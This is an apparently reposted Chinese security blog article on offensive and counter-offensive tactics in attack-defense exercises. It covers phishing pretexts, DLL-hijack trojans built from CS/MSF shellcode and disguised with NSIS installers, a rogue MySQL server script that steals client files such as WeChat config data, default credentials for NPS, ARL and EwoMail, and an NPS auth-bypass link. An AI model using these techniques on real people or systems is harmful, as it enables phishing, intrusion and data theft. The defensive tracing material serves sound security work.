• 攻防千层饼


    目录

    钓鱼

    钓鱼攻击

    求职招聘

    投毒

    社会工程学

    仿冒IT运维人员

    补贴

    吃瓜

    反钓鱼攻击

    DLL劫持制作木马

    NSIS制作安装包

    mysql蜜罐

    LOAD DATA LOCAL INFILE

    蜜罐

    溯源反制

    溯源

    钓鱼邮件溯源

    后门木马溯源

    NPS

    未授权访问

    默认密码

    灯塔

    默认密码

    反溯源

    NPS

    灯塔


    近年来,网络安全领域正在经历一场不断升级的攻防对抗,这场攻防已经不再局限于传统的攻击与防御模式,攻击者和防守者都已经越发熟练,对于传统攻防手法了如指掌。

    在这个背景下,攻击者必须不断寻求创新的途径,以突破外部网络目标的坚固防护体系,利用零日漏洞、社会工程学手法、供应链攻击、投毒攻击,或者更加隐秘的攻击向量,以规避传统的检测与响应机制。防守方也不再仅仅依赖于传统的防御策略,如IP封锁或简单的入侵检测,已经转向主动防御甚至主动进攻,采取主动情报收集、分析与分享,实时威胁情报监测、云安全服务、容器化防护等安全防护,以应对不断进化的威胁。更加激进的防守方会选择积极主动的策略,对攻击者发起反制攻击,拿下权限获取情报(更多的是被逼的,谁不想躺两周呢)。

    本文将探讨这些非常规的攻击与防御手段。

    钓鱼

    在网络攻防中,社会工程学攻击(如钓鱼)是一种常见的攻击手段。攻击者利用人们的心理和行为特点,通过欺骗、伪装等手段获取敏感信息或实施其他恶意活动。

    钓鱼攻击

    目前钓鱼的形式多种多样,有常规钓鱼手段通过邮箱、微信等IM工具钓鱼,也有供应链官方升级文件投毒,代码投毒。

    求职招聘

    攻击者伪装求职平台的求职者,联系HR私加微信。经常聊天降低风险意识,并套话使用的什么终端设别,发送伪装成求职简历的木马文件名,HR运行上线。

    图片

    或者伪装HR联系求职者

    图片

    投毒

    在github,公众号等地方投毒

    图片


    供应链投毒

    图片

    社会工程学

    通过在社交平台寻找疑似工作人员(重点关注微博抖音快手小红书),然后通过OSINT定制化钓鱼攻击,博取对方信任,然后投放木马

    图片

    仿冒IT运维人员

    以密码过期、系统升级等理由,要求打开链接输入账号密码或者下载恶意附件

    图片

    图片

    图片

    补贴

    图片

    吃瓜

    通过捏造吃瓜事件,吸引受害者点击恶意文件,在攻防时慎用此方式钓鱼,可能会被警告(21年某象)

    图片

    图片

    图片

    图片

    反钓鱼攻击

    可以在经过网络隔离的环境中模拟被钓鱼人员,运行攻击者的木马程序,同时准备一些模拟的敏感文件,例如VPN账号和密码、运维手册等等。这样,当攻击者尝试下载和运行这个木马程序时,可以对其进行反制。

    DLL劫持制作木马

    合法程序在运行的时候需要加载合法的dll,使用恶意的dll通过函数调用劫持合法dll,达到运行合法程序加载恶意dll的效果

    使用拿破轮胎大佬的工具(工具下载网盘:链接https://pan.baidu.com/s/1w8T5vgfGnIBU2Gkpq1kogQ

    提取码:c29j)可以直接自动化劫持dll。

    使用CS或者MSF的shellcode生成dll文件,这时文件目录会自动生成conf.inf文件和wwwcomw.dll文件,然后选择生成的wwwcomw.dll文件和要劫持的exe文件,即可生成被劫持的恶意程序。

    图片

    将conf.inf文件和wwwcomw.dll文件放入到和劫持的文件同一目录,点击运行即可执行shellcode

    NSIS制作安装包

    使用nsis可以将上述多个文件打包成一个安装包,并可伪装成任意软件。软件下载地址:https://www.pc6.com/softview/SoftView_14342.html 软件使用教程:https://www.cnblogs.com/modou/p/3573772.html

    mysql蜜罐

    21年国家HW时,某知名社区官方账号就曾使用该方法进行钓鱼,在一篇分析投毒代码中留下Mysql蜜罐的账号密码,吸引好事者登录mysql蜜罐,窃取敏感信息。

    图片

    LOAD DATA LOCAL INFILE

    LOAD DATA LOCAL INFILE 是 MySQL 中用于将数据从本地文件加载到数据库表中的命令。这个命令允许用户通过指定本地文件的路径将数据导入到数据库表中。

    读取服务端上的文件内容存入表中:

    load data infile "文件" into table "表名" fields terminated by '分隔符';
    

    读取客户端上的文件内容存入表中:

    load data local infile "文件" into table "表名" fields terminated by '分隔符';
    

    查看LOAD DATA LOCAL INFILE 功能开关状态

    show global variables like 'local_infile';
    

    图片


    将LOAD DATA LOCAL INFILE 功能打开

    set global local_infile=1;
    

    蜜罐

    利用代码伪造连接信息

    图片


    尝试读取文件信息

    1. if 'SET NAMES utf8' in res4:
    2. conn.sendall("\x07\x00\x00\x01\x00\x00\x00\x02\x00\x00\x00")
    3. res5 = conn.recv(9999)
    4. if 'SET character_set_results=NULL' in res5:
    5. conn.sendall("\x07\x00\x00\x01\x00\x00\x00\x02\x00\x00\x00")
    6. conn.close()
    7. else:
    8. conn.close()
    9. else:
    10. conn.close()
    11. else:
    12. conn.close()
    13. else:
    14. try:
    15. wantfile = chr(len(filename) + 1) + "\x00\x00\x01\xFB" + filename
    16. conn.sendall(wantfile)
    17. content = conn.recv(99999999)
    18. # print(len(content))
    19. conn.close()
    20. if len(content) > 4:
    21. if 'PFRO' in filename:
    22. with open(logpath + "/PFRO.log", "w") as f:
    23. f.write(content)
    24. f.close()
    25. return True
    26. else:
    27. with open(logpath + "/" + filename.replace("/", "_").replace(":", ""), "w") as f:
    28. f.write(content)
    29. f.close()
    30. return True
    31. else:
    32. return False
    33. except Exception as e:
    34. print (e)
    35. except Exception as e:
    36. print (e)
    37. def run():
    38. port = 3306
    39. sv = socket.socket()
    40. sv.setsockopt(socket.SOL_SOCKET, socket.SO_REUSEADDR, 1)
    41. sv.bind(("",port))
    42. sv.listen(100)
    43. while True:
    44. conn, address = sv.accept()
    45. logpath = os.path.abspath('.') + "/log/" + address[0] + '/PFRO.log'
    46. if os.path.exists(logpath):
    47. with open(logpath, 'r')as f:
    48. content = f.read()
    49. f.close()
    50. content = content.replace('\n','').replace('\r','').replace(' ','').replace('\t','').replace('\00','')
    51. try:
    52. res = re.findall(r'Users\\(.*)\\', content)[0]
    53. username = res.split('\\')[0]
    54. line = 'C:/Users/' + username + '/Documents/WeChat Files/All Users/config/config.data'
    55. if not os.path.exists(os.path.abspath('.') + "/log/" + address[0]+'/'+line.replace("/", "_").replace(":", "")):
    56. res = mysql_get_file_content(line,conn,address)
    57. if res:
    58. print ("Read Success! ---> " + line)
    59. else:
    60. print ("Not Found~ ---> " + line)
    61. else:
    62. conn.close()
    63. except Exception as e:
    64. print(e)
    65. else:
    66. line = 'C:/Windows/PFRO.log'
    67. res = mysql_get_file_content(line,conn,address)
    68. if res:
    69. print ("Read Success! ---> " + line)
    70. else:
    71. print ("Not Found~ ---> " + line)

    项目地址:https://github.com/fnmsd/MySQL_Fake_Server

    溯源反制

    溯源

    钓鱼邮件溯源

    从邮件头入手,通常会包括"Received"字段,其中包含有关邮件传输的信息,如发件服务器的IP地址,对IP地址进行反查溯源。

    图片

    对邮箱账号进行溯源如“@qq.com”、“@gmail.com”等此类字符串,搜索账号等,如果使用的是私有域名邮箱,可以从这方面入手,有次就碰见EwoMail邮箱管理后台一般为8010端口使用了默认口令admin/ewomail123。

    图片

    邮件中可能包含域名链接或者后门木马也可进行溯源。

    后门木马溯源

    后门木马类型可能包括LNK、EXE、DOCX等。DOCX文件可能包含“最后编辑者名称”,EXE文件中可能包含PDB信息,尤其是在开发人员将项目存放在桌面时,这可能会导致编译信息与开发人员的终端名称相关联,LNK文件在创建时可能会捕获计算机名称。对回连 C2IP溯源。

    NPS

    未授权访问

    当使用默认配置未配置auth_key参数时,可以利用时间戳直接伪造管理员token的漏洞。脚本利用:https://github.com/0xf4n9x/NPS-AUTH-BYPASS

    默认密码

    nps的默认账号密码为admin/123

    图片

    灯塔

    默认密码

    灯塔的默认账号密码为admin/arlpass

    反溯源

    NPS

    故意留下未授权访问漏洞,或者易被猜解漏洞,如HW@2023,客户端内留下网络隔离环境的代理,同反钓鱼攻击。

    灯塔

    在一次攻防时,对攻击IP进行测绘,发现灯塔资产,使用未授权访问直接进入后台,发现大量shell。

    图片


    还好当时留了个心眼儿,用沙箱跑了一下,发现全是木马,也是学到了一波。

    图片

    原文地址:https://forum.butian.net/share/2454

    声明:⽂中所涉及的技术、思路和⼯具仅供以安全为⽬的的学习交流使⽤,任何⼈不得将其⽤于⾮法⽤途以及盈利等⽬的,否则后果⾃⾏承担。所有渗透都需获取授权

    学习更多渗透技能!体验靶场实战练习

    免费领取安全学习资料包!+V【zkaq222】或者下面的扫码不然通不过哦,免费领取安全学习资料包!(私聊进群一起学习,共同进步)腾讯文档-在线文档icon-default.png?t=N7T8https://docs.qq.com/doc/DYmVETWlZemh0Ymdv

  • 相关阅读:
    flutter简单的本地草稿箱功能
    KWin、libdrm、DRM从上到下全过程 —— drmModeAddFBxxx(10)
    Linux学习笔记
    顺风车用户最爱“送花”城市Top30 出炉,来看有没有你的家乡?
    太原理工大学计算机考研资料汇总
    SpringBoot之整合WebSocket服务并兼容IE8浏览器的方式
    R语言dplyr包select函数筛选dataframe指定数据列,sample_n函数采样指定个数数据行
    【JavaScript】JavaScript 变量 ① ( JavaScript 变量概念 | 变量声明 | 变量类型 | 变量初始化 | ES6 简介 )
    SpringCloud源码分析 (Eureka-Server-处理客户端删除状态请求) (六)
    【SpringBoot】理解配置背后的 PropertySource 抽象
  • 原文地址:https://blog.csdn.net/zkaqlaoniao/article/details/133909887